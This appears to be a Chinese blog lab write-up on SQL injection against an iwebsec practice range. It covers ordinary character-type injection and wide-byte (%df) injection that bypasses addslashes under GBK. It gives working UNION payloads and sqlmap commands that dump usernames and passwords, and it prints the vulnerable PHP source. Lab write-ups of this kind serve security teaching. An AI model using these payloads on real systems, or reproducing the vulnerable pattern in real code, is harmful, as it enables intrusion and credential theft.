01、题目分析
正常来讲的字符型的sql注入,sql语句如下
select * from news where id='$id';
像这种就可以在注入的传参后面加上一个单引号,然后联合sql语句最后加上注释符 --+就行,但是这个网站不行,因为在这个靶场的字符型注入的中的源代码,加入了宽字节过滤,所以正常的字符型注入不能实现,所以复制一份源代码并命名为20.php,修改成正常的字符型注入代码
所以先尝试正常的字符型sql注入
02、正常字符型手工注入:
先判断有多少列
http://www.bdrwmy.cn:8001/sqli/20.php?id=1' order by 3 --+
-- id=-1就是不显示内容
http://www.bdrwmy.cn:8001/sqli/20.php?id=-1' union select 1,2,3 --+
知道有多少列了,接下来判断数据库
http://www.bdrwmy.cn:8001/sqli/20.php?id=-1' union select 1,2,database() --+
知道数据库名称了,接下来就可以爆表
http://www.bdrwmy.cn:8001/sqli/20.php?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='iwebsec' --+
爆列
http://www.bdrwmy.cn:8001/sqli/20.php?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='sqli' --+
爆数据
http://www.bdrwmy.cn:8001/sqli/20.php?id=-1' union select 1,2,group_concat(concat_ws('~',username,password)) from iwebsec.sqli --+
收工
03、sqlmap工具注入:
判断能否注入:
python .\sqlmap.py -u "http://www.bdrwmy.cn:8001/sqli/20.php?id=1"
能注入,暴库
python .\sqlmap.py -u "http://www.bdrwmy.cn:8001/sqli/20.php?id=1" --dbs
暴表
python .\sqlmap.py -u "http://www.bdrwmy.cn:8001/sqli/20.php?id=1" --tables -D iwebsec
暴字段
python .\sqlmap.py -u "http://www.bdrwmy.cn:8001/sqli/20.php?id=1" -T sqli -D iwebsec --columns
暴数据
python .\sqlmap.py -u "http://www.bdrwmy.cn:8001/sqli/20.php?id=1" -T sqli -D iwebsec -C "username,password" --dump
04、代码分析
<?php
if(isset($_GET['id'])){
$id=($_GET['id']);
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM user WHERE id='$id' LIMIT 0,1";
# 这个地方主要是加了个单引号,因此在注入的过程中需要去闭合单引号
$result=mysql_query($sql);
}
else{
exit();
}
05、宽字节过滤下的字符型手工注入
宽字节字符型注入,因为源代码中传参get值的时候,有一个addslashes() 函数,是返回在预定义字符(' " )之前添加反斜杠的字符串。
也就是说,当我们按照正常的字符型注入的时候,会在'前加入,也就是说,我们在url上
-- url写入
?id=1' order by 3 --+
-- 在addslashes(1' order by 3 --+)函数后实际赋值给id的值为
1\' order by 3 --+
因为sql语句中没有反斜杠,所以一定会报错,那我们就完成不了正常的注入,所以我们应该想办法把他去掉
在'前加上%df,这样经过addslashes()函数处理后,传参值语句变为
1%df\' order by 3 --+
大家都知道%df’ 被PHP转义(开启GPC、用addslashes函数,或者icov等),单引号被加上反斜杠\,变成了 %df\’,其中\的十六进制是 %5C ,那么现在 %df\’ =%df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则MySQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是縗,也就是说:%df\’ = %df%5c%27=縗’,有了单引号就好注入了。
宽字节过滤下的字符型手工注入,也就是加上%df,流程和上面的一样
http://www.bdrwmy.cn:8001/sqli/06.php?id=1%df' order by 3 --+
-- id=-1就是不显示内容
http://www.bdrwmy.cn:8001/sqli/06.php?id=1%df' union select 1,2,3 --+
-- 暴库
http://www.bdrwmy.cn:8001/sqli/06.php?id=1%df' union select 1,2,database() --+
-- 暴表
http://www.bdrwmy.cn:8001/sqli/06.php?id=1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
-- 暴列
http://www.bdrwmy.cn:8001/sqli/06.php?id=1%df' union select 1,2,group_concat(column_name) from information_schema.columns --+
-- 暴字段
http://www.bdrwmy.cn:8001/sqli/06.php?id=1%df' union select 1,2,group_concat(concat_ws(username,password)) from iwebsec.sqli --+
06、宽字节过滤下的字符型工具注入
方式一:
在url上可以加上%df*进行sql注入,可以像上面03那样一步步的判断,但是因为已经知道有注入有表啥的了,直接一把梭
python .\sqlmap.py -u "http://www.bdrwmy.cn:8001/sqli/02.php?id=1%df" --current-db --dump --batch
方式二:
--tamper unmagicquotes脚本是针对宽字节过滤的注入方式
python .\sqlmap.py -u "http://www.bdrwmy.cn:8001/sqli/02.php?id=1" --current-db --dump --batch --tamper unmagicquotes
07、宽字节代码分析
<?php
if(isset($_GET['id'])){ // 检查是否存在传递的id参数
$id=addslashes($_GET['id']); // 获取id参数的值,并使用addslashes函数进行转义,提高安全性
mysql_query("SET NAMES gbk"); // 设置数据库连接的字符集为GBK,确保与数据库的字符集一致
$sql="SELECT * FROM user WHERE id='$id' LIMIT 0,1"; // 构造SQL查询语句,根据传递的id参数查询user表中对应的记录
$result=mysql_query($sql); // 执行查询语句,将结果存储在$result变量中
// 执行其他操作,处理查询结果或输出数据等
} else {
exit(); // 如果没有传递id参数,则退出(终止脚本运行)
}
?>
标签:02,www,php,cn,--,sqli,iwebsec,id,注入
From: https://www.cnblogs.com/bdrwmy/p/17641250.html